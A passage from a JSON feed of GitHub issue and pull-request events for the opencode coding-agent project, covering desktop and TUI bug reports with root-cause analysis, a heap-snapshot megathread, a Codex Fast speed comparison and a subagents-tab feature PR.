          "timestamp": "2026-08-13T07:50:19Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [],
          "author": "PallieterVerhoeven",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:839360f211a51bed3f77",
        "signalId": "github:anomalyco/opencode:issue:42267",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42267",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "desktop: sent user message not visible in chat — client sends limit=0 on message fetch, server rejects with 400",
          "text": "## Summary OpenCode Desktop beta (Windows): after sending a message, the user's own message text does not appear in the chat transcript, even though the message is received and stored server-side. Server logs show the desktop client calling `GET /api/session/<id>/message` with `limit=0`, which the API rejects with HTTP 400, so the message list never refreshes. ## Environment - opencode version: 0.0.0-next-17400/17403 server, desktop app v0.0.0-beta-17402 - OS: Windows 10.0.26200 (win32 x64) - Terminal: OpenCode Desktop app (Electron beta build) - Shell: C:\\WINDOWS\\system32\\cmd.exe - Install/channel: beta / next - Active plugins: claude-mem.js (local), opencode-see-image@1.3.0 ## Reproduction 1. Open the desktop beta app and start or continue a session. 2. Type a message and send it. 3. The assistant responds (message is received), but the typed user message never renders in the chat transcript. Occurs intermittently; also observed while the server was healthy (this is not the \"Path is not absolute\" 500 regression). ## Expected Behavior Sent user messages appear immediately in the chat transcript. ## Actual Behavior The message is stored server-side (verified via `opencode2 api get /api/session/<id>/message` — the message exists) but is not shown in the UI. Server log (role=server) shows the client sending an invalid request: ``` level=WARN message=\"schema rejection\" kind=Query reason=\"Expected a value greater than or equal to 1, got 0\\n at [\\\"limit\\\"]\" level=INFO message=\"Sent HTTP response\" http.method=GET http.url=/api/session/ses_.../message http.status=400 ``` The desktop client is sending `limit=0` on the message-list request, which the schema rejects (limit must be >= 1), so the chat list never refreshes with the new message. ## Additional Context - Recurs intermittently; service restart does not fix it. - Possibly related to existing desktop issues #31200 / #31292 / #28228 (composer draft loss), but this is a different symptom: sent messages missing from the transcript. - Also see #42266 for a related desktop sidecar regression (all API 500s) observed on the same setup.",
          "url": "https://github.com/anomalyco/opencode/issues/42267",
          "createdAt": "2026-08-13T07:39:16Z",
          "updatedAt": "2026-08-13T07:41:00Z",
          "timestamp": "2026-08-13T07:41:00Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "2.0"
          ],
          "author": "vigneshsmarther",
          "state": "open",
          "assignees": [
            "Brendonovich"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:998c342fb968280c9485",
        "signalId": "github:anomalyco/opencode:issue:42266",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42266",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "desktop: bundled sidecar (next-17403) crashes with 'Path is not absolute: global' — all API 500s, failed to load sessions",
          "text": "## Summary OpenCode Desktop beta (Windows) can no longer load sessions after updating to the 0.0.0-next-17403 bundled sidecar. The sidecar server crashes on every database query with `Error: Path is not absolute: global` (and empty path), returning HTTP 500 for all `/api/*` endpoints — the app shows \"Failed to load sessions\" and sent user messages never appear in the chat transcript. ## Environment - opencode version: 0.0.0-next-17403 (bundled sidecar CLI), desktop app v0.0.0-beta-17402 - OS: Windows 10.0.26200 (win32 x64) - Terminal: OpenCode Desktop app (Electron beta build) - Shell: C:\\WINDOWS\\system32\\cmd.exe - Install/channel: beta / next - Active plugins: claude-mem.js (local), opencode-see-image@1.3.0 ## Reproduction 1. Update desktop to the build that bundles CLI 0.0.0-next-17403 (sidecar at `%APPDATA%\\ai.opencode.desktop.beta\\cli\\0.0.0-next-17403\\`). 2. Launch OpenCode Beta. 3. The bundled sidecar starts (`serve --service`) and every request fails with HTTP 500; UI shows \"Failed to load sessions\". ## Expected Behavior Sessions load and the chat works as before (worked fine on the previous build 0.0.0-next-17400). ## Actual Behavior Server log (run e313a592, role=server) shows the sidecar crashing on the \"global\" project DB path: ``` Error: Path is not absolute: global at GN (../core/src/database/path.ts:19:15) ... at Project.resolve (../core/src/project.ts:102:14) at ServerProcess.start (src/server-process.ts:73:29) ``` and for the project insert: ``` Error: Path is not absolute: at GN (../core/src/database/path.ts:19:15) ... at Project.resolve (../core/src/location.ts:24:39) ``` All endpoints then 500: `/api/session` (causes the \"failed to load sessions\" toast), `/api/agent`, `/api/project/current`, `/api/command`, `/api/mcp`, `/api/model`, `/api/provider`, `/api/location`, `/api/permission/request`, `/api/question/request`. A server running the previous build (0.0.0-next-17400, same `serve --service` startup, same `projectID=global` refresh) worked fine, so this is a regression introduced in 17403. Secondary symptoms on the same desktop beta: - The client occasionally calls `GET /api/session/<id>/message` with `limit=0`, which the server rejects with HTTP 400 (`Expected a value greater than or equal to 1, got 0`) — sent user messages then never render in the transcript even when the server is healthy. - The `claude-mem.js` plugin now fails to load on the new server: `SchemaError(Expected object, got async (t) => ...)`. ## Additional Context - Data is intact: session/message data verified present in `~/.local/share/opencode/opencode.db` (via API on a healthy 17400 service instance). - The old 17400 service process kept running alongside; the desktop connects to its own broken 17403 sidecar instead. - Recurs consistently after restart; `opencode2 service restart` does not fix it (desktop relaunches the broken sidecar).",
          "url": "https://github.com/anomalyco/opencode/issues/42266",
          "createdAt": "2026-08-13T07:38:09Z",
          "updatedAt": "2026-08-13T07:40:59Z",
          "timestamp": "2026-08-13T07:40:59Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [
            "2.0"
          ],
          "author": "vigneshsmarther",
          "state": "open",
          "assignees": [
            "Hona"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:5b63fc7d9b76f5821993",
        "signalId": "github:anomalyco/opencode:issue:23153",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:23153",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "[FEATURE]:Pay Go with crypto",
          "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request Please add crypto support for payment of opencode go.",
          "url": "https://github.com/anomalyco/opencode/issues/23153",
          "createdAt": "2026-04-17T19:11:14Z",
          "updatedAt": "2026-08-13T07:37:17Z",
          "timestamp": "2026-08-13T07:37:17Z",
          "metrics": {
            "reactions": 60,
            "comments": 18
          },
          "labels": [],
          "author": "suse-coder",
          "state": "open",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:2060a190fe447747de6e",
        "signalId": "github:anomalyco/opencode:pull_request:39382",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:39382",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(app): add subagents tab to the session side panel",
          "text": "### Issue for this PR Closes #37267 ### Type of change - [ ] Bug fix - [x] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Adds a \"Subagents\" tab to the session side panel, so subagent activity can be followed without it being buried by the main agent's log stream, the problem described in #37267. The tab lists each subagent spawned by the current session with its task name, status, cost, token usage and model. Clicking a row opens that subagent's session, which is the drill-down to its full output. Status comes from two places. Running/retrying is read from `session_status` in the sync store. Terminal states (completed / cancelled / failed) come from the parent session's `task` tool parts, the same source the CLI footer already uses in `packages/opencode/src/cli/cmd/run/subagent-data.ts`. The parent session is the one you have open, so its parts are already in the store and nothing extra is fetched. The child list is derived from the live sync store filtered by `parentID`, plus a one-shot backfill query for subagents created before the store's paginated window. No polling and no per-subagent requests. One part of the issue is not covered: there's no brief output summary on each row. Rows show status and usage, and you click through for the output. Happy to add a summary line if that's wanted. ### How did you verify your code works? `bun run test:unit` and `bun run test:solid` in `packages/app` (741 tests). The one worth looking at is `packages/app/test/session-agents-tab.test.tsx`: it mutates only `session_status` for one child and asserts the row's text changes while the DOM node stays identical. It fails if the row values stop being reactive, which is the mistake that makes this kind of list silently go stale. Manually: started the backend and the web app, spawned several subagents in one session, cancelled some mid-run and let others finish. The tab was opened once and never reopened, new subagents appeared on their own and statuses changed in place. ### Screenshots / recordings <img width=\"1600\" height=\"1000\" alt=\"01-FIXED-same-session-two-cancelled-rows\" src=\"https://github.com/user-attachments/assets/f7644010-b491-4b93-9551-8558db58a327\" /> <img width=\"974\" height=\"871\" alt=\"03-delta-live-running-Executando\" src=\"https://github.com/user-attachments/assets/4f1c11c1-606d-408f-ae90-ce993ba8250c\" /> ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/39382",
          "createdAt": "2026-07-28T18:10:20Z",
          "updatedAt": "2026-08-13T07:36:15Z",
          "timestamp": "2026-08-13T07:36:15Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "sdpfigueiredo",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:eae2e6231e56c1afb2ac",
        "signalId": "github:anomalyco/opencode:issue:42264",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42264",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "TUI: text disappears during LLM streaming, main thread stuck in timerfd busy-loop (TreeSitter worker stack overflow)",
          "text": "### Description ## TL;DR During LLM streaming, the syntax highlighting worker crashes with a WASM stack overflow in tree-sitter's `captures()`. Because the streaming code path doesn't update the text buffer independently of the highlight result, a worker crash leaves the displayed code frozen at an arbitrary position. The crash is content-deterministic — the same deeply-nested code triggers the same AST shape, which triggers the same stack overflow — so resume does not help if the same code block is re-rendered. ## Related issues This is the first report to identify the root cause (TreeSitter worker WASM stack overflow). Previous reports described the same or overlapping symptoms but did not identify the cause: - #15388 — TUI garbled/corrupted after long output (closed as not planned, same symptom: restart restores rendering) - #3905 — Message history randomly flickers/disappears (closed, tagged `opentui`) - #3935 — Unstable TUI, disappearing content area (closed, same symptom cluster) - #23914 — TUI text becomes garbled (no developer response) - #17793 — TUI display corruption regression on v1.2.27 (regression of #16351 fix) - #32335 — `opencode run` processes don't exit after completing work (same \"event loop stuck\" symptom) - #7301 — Logs sent via `client.app.log()` not visible with `--print-logs` (related logging visibility issue) ## Reproduction Send this prompt to the LLM in the opencode TUI: ``` Please write a complete TypeScript web server project. I need: 1. A main server file with nested middleware (at least 5 levels of composition) 2. A database layer with nested query builders 3. A routing configuration with nested route groups 4. Type definitions with deeply nested generics 5. Utility functions with complex type inference Output each file as a separate ```ts code block. Make each file at least 100 lines. Use deeply nested object literals, chained method calls, and complex type unions. ``` The crash is triggered by deeply nested code structures in the LLM's response. It depends on the specific code the LLM generates, so not every run will trigger it. In our testing, it triggered on the first attempt with this prompt — but since the crash depends on the exact AST shape of the generated code, reproducibility will vary. Once triggered, the same session content will crash deterministically on every subsequent render. ## What happens ### Original observation (during normal use) During LLM streaming, **some text on the screen suddenly disappears**. The TUI is still responsive — the user can still type and interact — but certain characters are gone. Exiting the session and resuming **appeared** to restore the rendering — but as discovered during reproduction, this was only because the problematic code block was not immediately re-rendered. When the same content is displayed again, the crash recurs deterministically. This happened three times in a single day of normal use, including once in a brand-new session (not a resume), ruling out it being a random fluke or tied to a specific session's history. **Ruled out via strace**: No user interrupt keys (fd 22 = real stdin shows 0 inputs), no SIGHUP, no SIGWINCH, no terminal resize. The issue is purely in the rendering layer — the underlying data is intact. `strace` recording revealed the cause: the worker thread was generating **thousands of SIGSEGV** — `SEGV_ACCERR` with addresses steadily decreasing, the classic signature of a stack overflow hitting the guard page: | | First time | Second time | Third time | |---|---|---|---| | Session type | Original | Resumed | **Brand new** | | SIGSEGV count | 5,961 | 4,932 | 16,378 | | Duration | ~3.5 min | ~3.2 min | ~5.3 min | | Error type | `SEGV_ACCERR` | `SEGV_ACCERR` | `SEGV_ACCERR` | | Address pattern | Decreasing | Decreasing | Decreasing | **These are not one crash.** Each SIGSEGV represents a separate worker crash-and-recreate cycle (see Root Cause §4). The worker crashes, gets recreated, receives the same content, and crashes again — thousands of times over several minutes. After the worker crashes, the main thread gets stuck in a timerfd busy-loop (reading fd 7 and fd 8 every second), spinning endlessly even after opencode.log shows all session loops have ended (`exiting loop`). ### Finding during reproduction When reproducing with the prompt above, an additional symptom became clear: the code is not just \"disappearing\" — it is **frozen mid-stream at an arbitrary position**, with everything after that point missing. And **resume does not fix it**: the code stays truncated at the exact same position, because the same code content triggers the same crash. Notably, `TreeSitter`, `highlighting failed`, `falling back` appear **0 times** in all log files. This is because `@opentui/core`'s `ConsoleCapture` intercepts all `console.warn` / `console.error` calls, storing them only in memory, never writing to any log file (see Root Cause §5). ## Environment - opencode: v1.18.15 - `@opentui/core`: 0.4.5 - `web-tree-sitter`: 0.25.10 - OS: Linux 6.8.0-48-generic (x86_64) - This issue is not new to v1.18.15 — the same symptom has been observed in older versions, but `ConsoleCapture` hides all warnings, so there was never enough evidence to report it. ## Root cause A cascading failure with five key links. Source references are from `@opentui/core@0.4.5` (locate by function name, not line number). ### 1. Text rendering is coupled to highlighting during streaming (why text freezes) The `CodeRenderable.content` setter in streaming mode only updates `_content` (in-memory) and does **not** update `textBuffer` (the screen). The `textBuffer` is only updated when `startHighlight()` succeeds. If highlighting hangs, the screen freezes. ```typescript // CodeRenderable.content setter (packages/core/src/renderables/Code.ts) set content(value: string) { if (this._content !== value) { this._content = value this._highlightsDirty = true if (this._streaming && this._filetype && !this._drawUnstyledText) { this.requestRender() return // ← returns WITHOUT updating textBuffer } this.textBuffer.setText(value) // ← only reached in non-streaming mode } } ``` `textBuffer` is only updated inside `startHighlight()`, after `await this._treeSitterClient.highlightOnce(content, filetype)` resolves. If that Promise hangs, the catch block (which falls back to plain text) **never executes**: ```typescript // CodeRenderable.startHighlight() (Code.ts) private async startHighlight(): Promise<void> { const result = await this._treeSitterClient.highlightOnce(content, filetype) // ↑ if this hangs, everything below never runs this.textBuffer.setStyledText(styledText) // ← only way textBuffer gets updated // ... } catch (error) { this.textBuffer.setText(content) // ← fallback, only runs if Promise rejects } ``` ### 2. No debounce on streaming highlights (trigger condition) Every token triggers the full highlight pipeline — `content` setter → `renderSelf()` → `startHighlight()` → `highlightOnce()` → `postMessage` to worker. `TreeSitterClient` has a `DebounceController` but `highlightOnce()` bypasses it entirely. At 30fps render rate, this means up to 30 full highlight requests per second, each sending the complete accumulated content. ### 3. WASM `captures()` has no safeguards (the crash) In the worker, `ParserWorker.handleOneShotHighlight()` (`packages/core/src/lib/tree-sitter/parser.worker.ts`) calls `query.captures(tree.rootNode)`, which is tree-sitter's C code compiled to WASM using **recursion** to traverse the AST. Deep nesting → WASM stack overflow → hard abort (emscripten `abort()`). There is only `try/finally`, no `catch` — and WASM stack overflow is a hard abort that JS try/catch cannot reliably intercept. ### 4. Worker crash loop — no `on(\"exit\")` handler, no circuit breaker (why it repeats thousands of times) The `NodeWorkerShim` constructor (`packages/core/src/platform/worker.ts`) only attaches `on(\"message\")` and `on(\"error\")`: ```typescript // NodeWorkerShim constructor (platform/worker.ts) this.worker = new node.Worker(createWorkerBootstrapSource(resolvedSpecifier), { eval: true, type: \"module\", name: options.name, // no resourceLimits, no stackSizeMb }) this.worker.on(\"message\", this.handleMessage) this.worker.on(\"error\", this.handleError) // no on(\"exit\")! no on(\"close\")! ``` A search of the published `@opentui/core@0.4.5` package source confirms no `worker.on(\"exit\")` exists anywhere. During a WASM abort, the worker thread dies outright, and the JS `error` event **may not be dispatched**. If `onerror` doesn't fire, `handleWorkerFailure` never runs, `rejectPendingRequests` never runs, and the `highlightOnce()` Promise **never settles** — neither resolves nor rejects. This is why the fallback catch block is unreachable. Additionally, `handleWorkerFailure` (`packages/core/src/lib/tree-sitter/client.ts`) only sets `this.initialized = false` — it does **not** destroy the client and has no circuit breaker. The next `highlightOnce()` call lazily re-creates a new worker via `initialize()`, which crashes again on the same content. **This is the crash loop.** The thousands of SIGSEGVs in the strace data (5,961 / 4,932 / 16,378) are not one crash generating many signals — they are thousands of separate crash-recreate-crash cycles, each one spawning a new worker that immediately dies on the same content. This loop continues for minutes until the streaming ends or the session is exited. ### 5. ConsoleCapture hides all warnings (why it was never reported) `TerminalConsoleCache.overrideConsoleMethods()` (`packages/core/src/console.ts`) replaces all `console.warn` / `console.error` with in-memory storage only (max 1000 entries). The warnings that `startHighlight()`'s catch block would produce are invisible in all log files. This is why the issue has existed across multiple versions but was never reported — there was simply no evidence available to users. ### Crash flow ``` LLM streams token → content setter (updates _content only, NOT textBuffer) → startHighlight() → highlightOnce() → worker.postMessage(ONESHOT_HIGHLIGHT) → worker: parser.parse() → captures(rootNode) → WASM stack overflow → worker dies If onerror fires (not guaranteed with WASM abort): → handleWorkerFailure → rejectPendingRequests → Promise rejects → catch block runs → textBuffer.setText(content) → plain text fallback ✓ → but client not destroyed, no circuit breaker → next token recreates worker → crash again (crash loop) If onerror does NOT fire (observed in production): → Promise never settles → startHighlight() hangs forever → textBuffer frozen → code truncated mid-stream → worker never terminated → timerfd busy-loop Resume → same content → same crash → code still truncated (content-deterministic) ``` ## Suggested fixes Ordered by impact: 1. **Always update `textBuffer` in the `content` setter** — even in streaming mode, call `this.textBuffer.setText(value)` before `return`. This ensures text is always visible even if highlighting fails or hangs. The styled highlight can upgrade the display later when it succeeds. (This means text may briefly appear unstyled before highlighting completes — a minor visual tradeoff compared to text being completely invisible.) 2. **Add a timeout to `highlightOnce()`** — reject the Promise after N seconds so the catch block can run even when both `onerror` and `on(\"exit\")` fail to fire. 3. **Add `on(\"exit\")` handler to `NodeWorkerShim`** — call `handleWorkerFailure` on worker exit, so cleanup (including `rejectPendingRequests`) happens even when WASM abort prevents `onerror` from firing. 4. **Add a circuit breaker to `handleWorkerFailure`** — after N consecutive failures on the same content, stop re-creating the worker and permanently fall back to plain text for that code block. This is essential because the crash is content-deterministic: without this, the crash loop repeats indefinitely. 5. **Add debounce to `highlightOnce()`** — use the existing `DebounceController` (already used by `resetBuffer()`). Reduces crash frequency during streaming but does not prevent the crash (the crash-inducing content will eventually be sent). 6. **Add depth limit or timeout to `captures()`** — or limit content size / nesting depth sent to the worker. Prevents the crash itself. 7. **Set `stackSizeMb` in Worker options** — `resourceLimits: { stackSizeMb: 8 }`. Only delays the crash (deeper nesting needed to trigger), doesn't fix the root cause. 8. **Write WARN/ERROR to log files** — in `TerminalConsoleCache.appendToConsole`, at least write WARN/ERROR level messages to an external log file so issues are diagnosable without strace. <details> <summary>How we collected this evidence</summary> `ConsoleCapture` intercepts all `console.warn` / `console.error`, so opencode's own logs contained zero traces. To work around this, we used a shell wrapper to record two types of low-level logs simultaneously: 1. **`script` (PTY recording)** — records all bytes opencode outputs to the terminal (stdout + stderr), including the full TUI rendering sequence. Lets us verify what was actually displayed and which text was missing. 2. **`strace -f -e trace=read` (syscall recording)** — records all `read` syscalls from the process and all child threads. Lets us observe SIGSEGV, signals, and which fds were read at what time (especially fd 22 = real stdin, to confirm the user pressed no interrupt keys). By cross-referencing the two, we pinpointed the worker stack overflow and the main thread busy-loop despite opencode's own logs having zero traces. </details> ### Plugins N/A ### OpenCode version v1.18.15 ### Steps to reproduce As above ### Screenshot and/or share link N/A ### Operating System Linux 6.8.0-48-generic (x86_64) ### Terminal N/A",
          "url": "https://github.com/anomalyco/opencode/issues/42264",
          "createdAt": "2026-08-13T07:15:14Z",
          "updatedAt": "2026-08-13T07:35:12Z",
          "timestamp": "2026-08-13T07:35:12Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "birdhackor",
          "state": "open",
          "assignees": [
            "kommander"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:7a6ab5e7973cdd5df05b",
        "signalId": "github:anomalyco/opencode:issue:42265",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42265",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Web/new layout: direct /:dir/session creates a draft but does not register the directory as an opened project",
          "text": "### Description With the new layout enabled, opening a valid direct route such as `/:dir/session` creates a draft for the correct directory, but does not add that directory to the browser's opened-project state. The composer works in the requested directory. After returning to Home, however, the directory is missing from Projects and the titlebar `+` button silently does nothing until the directory is added manually. **Expected:** entering through an explicit valid directory route should register the resolved directory as an opened/last project, just like opening it from Home. **Evidence:** the draft contains the expected `directory`, `GET /path?directory=...` and subsequent directory-scoped requests use that path, but `opencode.global.dat:server` has no corresponding opened-project entry. On current `dev`, `SessionRoute` in `packages/app/src/app.tsx` creates the draft with the resolved `sdk().directory`, but this path does not call `projects.open(directory)` or `projects.touch(directory)`. This looks like the new-layout recurrence of #18943 and #26165, both closed by stale cleanup rather than a merged fix. It shares the final symptom with #37606, but the input is different. #37606 starts from Home with no project and discusses falling back to the server startup directory. Here the user already supplied a valid route directory, which may intentionally differ from the server process cwd (for example, hosted per-user workspaces). The resolved route directory should be remembered rather than replaced with the process cwd. ### Plugins None required. My deployed build contains an unrelated Safari IME patch, but current upstream `dev` has the same affected code path. ### OpenCode version 1.18.15 (web); also present in current `dev` at `cc4b456129` / 1.18.18 ### Steps to reproduce 1. Start `opencode web` and use a fresh browser profile, or clear the site's localStorage so no projects are opened. 2. Create or choose a valid directory different from the server process cwd. 3. Open `/{base64(directory)}/session` directly. 4. Observe that OpenCode redirects to `/new-session?draftId=...` and the draft uses the requested directory. 5. Click the Home button in the titlebar. 6. Observe that Projects is empty and click the titlebar `+` button. Actual: the project is not registered and `+` has no effect. Expected: the resolved route directory is registered as an opened/last project, appears on Home, and can be used for later sessions. ### Screenshot and/or share link Not included because the workspace path contains a private username. The behavior is visible as an empty Projects section and an inert titlebar `+` button after returning from the correctly scoped draft. ### Operating System Linux server; Safari on macOS client ### Terminal N/A (web UI)",
          "url": "https://github.com/anomalyco/opencode/issues/42265",
          "createdAt": "2026-08-13T07:33:31Z",
          "updatedAt": "2026-08-13T07:34:45Z",
          "timestamp": "2026-08-13T07:34:45Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "powoct",
          "state": "open",
          "assignees": [
            "Brendonovich"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:728079ae7605937d2b91",
        "signalId": "github:anomalyco/opencode:issue:20695",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:20695",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Memory Megathread",
          "text": "We have scattered reports of memory issues so we are going to tackle them all in a central place. PLEASE DO NOT RUN YOUR LLM AND SUGGEST SOLUTIONS IT IS ALWAYS WRONG What we need help with is collecting heap snapshots. There are two ways to do that. Manual snapshot flow - run opencode (terminal not desktop) - use it until memory has grown (we don't need crazy numbers, once it hits 1-2gb it should help) - press ctrl+p and select heap snapshot - ui will freeze while it is generated - upload generated files [here](https://www.dropbox.com/request/njJ07VcjIb0wPQ50ARe2) - leave a comment describing your issue a bit Automatic snapshot flow - run opencode with `OPENCODE_AUTO_HEAP_SNAPSHOT=1`, for example `OPENCODE_AUTO_HEAP_SNAPSHOT=1 opencode` - use it until memory grows past around 2gb - opencode checks memory once a minute and automatically writes a heap snapshot when rss is above 2gb - snapshots are written to the log directory as `.heapsnapshot` files - upload generated files [here](https://www.dropbox.com/request/njJ07VcjIb0wPQ50ARe2) - leave a comment describing your issue a bit and mention that you used the automatic flow If you follow this we can almost always trace the issue and fix it",
          "url": "https://github.com/anomalyco/opencode/issues/20695",
          "createdAt": "2026-04-02T14:44:15Z",
          "updatedAt": "2026-08-13T07:24:29Z",
          "timestamp": "2026-08-13T07:24:29Z",
          "metrics": {
            "reactions": 152,
            "comments": 129
          },
          "labels": [],
          "author": "thdxr",
          "state": "open",
          "assignees": [
            "kitlangton"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:5aa600f283d806b40828",
        "signalId": "github:anomalyco/opencode:issue:39864",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:39864",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Codex OAuth Fast models run at standard throughput",
          "text": "### Description On vanilla OpenCode, ChatGPT-authenticated Fast model entries send `service_tier: \"priority\"`, but do not show the speed increase that the same account gets in the official Codex CLI. Tested with clean upstream checkouts, no plugins, and `--pure`: - `v1.18.10`: HTTP and Responses WebSocket - current `dev` (`14f0bf64a19493110b51f5fdeb9c1c1bba5dd3f5`): Responses WebSocket - `gpt-5.6-sol` vs `gpt-5.6-sol-fast`, low effort - identical fixed prompt producing 603 output tokens Current `dev`, 3 alternating runs per model (time from OpenCode `step_start` to `step_finish`): | Model | Median turn time | Median output rate | |---|---:|---:| | `gpt-5.6-sol` | 10.818s | 55.74 tok/s | | `gpt-5.6-sol-fast` | 10.950s | 55.07 tok/s | The earlier clean `v1.18.10` test was also flat on both transports. In contrast, official `codex-cli 0.145.0` on the same account and prompt completed Standard in a median 16.30s and Fast in 11.11s across 4 alternating runs each (1.47x). A temporary redacted probe at OpenCode's OAuth fetch boundary confirmed the current upstream request behavior: ```text standard: model=gpt-5.6-sol, service_tier omitted fast: model=gpt-5.6-sol, service_tier=priority ``` I am not treating `response.service_tier=default` as proof because OpenAI has stated that field is not a reliable end-to-end Fast indicator for ChatGPT auth: https://github.com/openai/codex/issues/14204#issuecomment-4033184620. The controlled speed result and same-account Codex CLI control are the relevant signals here. Related but not duplicate: #23267 and #16499 reported Fast feeling no different, but were closed once a Fast model appeared in the picker; runtime routing was not verified. #25059 likewise confirms the catalog design, not the serviced speed. Could maintainers clarify the sanctioned way for third-party ChatGPT OAuth clients to request Codex Fast routing? If OpenCode needs Codex-specific metadata or another integration beyond `service_tier`, where should that live? I would be happy to work on a PR once the desired direction is confirmed. If proper routing is not currently available to third-party clients, not advertising Fast for this auth path may be a safer interim behavior. ### Plugins None (`--pure`) ### OpenCode version `v1.18.10` and current `dev` at `14f0bf64a19493110b51f5fdeb9c1c1bba5dd3f5` ### Steps to reproduce 1. Sign in to OpenAI using ChatGPT OAuth. 2. From a clean upstream build, alternate these commands several times with the same prompt: ```bash opencode run --pure --format json --model openai/gpt-5.6-sol --variant low \"Output exactly the integers from 1 to 300 inclusive, one per line, with no commentary.\" opencode run --pure --format json --model openai/gpt-5.6-sol-fast --variant low \"Output exactly the integers from 1 to 300 inclusive, one per line, with no commentary.\" ``` 3. Compare `step_start` to `step_finish` timestamps and verify each response has 603 output tokens. 4. As a control, run the same prompt in Codex CLI with Fast off/on. ### Operating System macOS 27.0, Apple Silicon ### Terminal zsh",
          "url": "https://github.com/anomalyco/opencode/issues/39864",
          "createdAt": "2026-07-31T11:34:52Z",
          "updatedAt": "2026-08-13T07:24:25Z",
          "timestamp": "2026-08-13T07:24:25Z",
          "metrics": {
            "reactions": 0,
            "comments": 1
          },
          "labels": [],
          "author": "AidenGeunGeun",
          "state": "open",
          "assignees": [
            "nexxeln"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:41fa8f8b4a104fe4caa3",
        "signalId": "github:anomalyco/opencode:issue:42261",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42261",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Todos not updating properly",
          "text": "### Description I have been using opencode for more than 2 months now and there is a very weird problem with it and that is the todos of the agent: - it creates the todos and does the work but the todos states are not updated. - and if it starts a new work, the todos of the previous work are there and no new todos are created ### Plugins _No response_ ### OpenCode version 1.18.18 ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System Windows 11 ### Terminal Windows terminal",
          "url": "https://github.com/anomalyco/opencode/issues/42261",
          "createdAt": "2026-08-13T07:02:23Z",
          "updatedAt": "2026-08-13T07:20:51Z",
          "timestamp": "2026-08-13T07:20:51Z",
          "metrics": {
            "reactions": 0,
            "comments": 3
          },
          "labels": [],
          "author": "CodeHalcyon",
          "state": "open",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:6900bce12a9b81be84ba",
        "signalId": "github:anomalyco/opencode:pull_request:41930",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:41930",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(app): unify v2 server and session lifecycle",
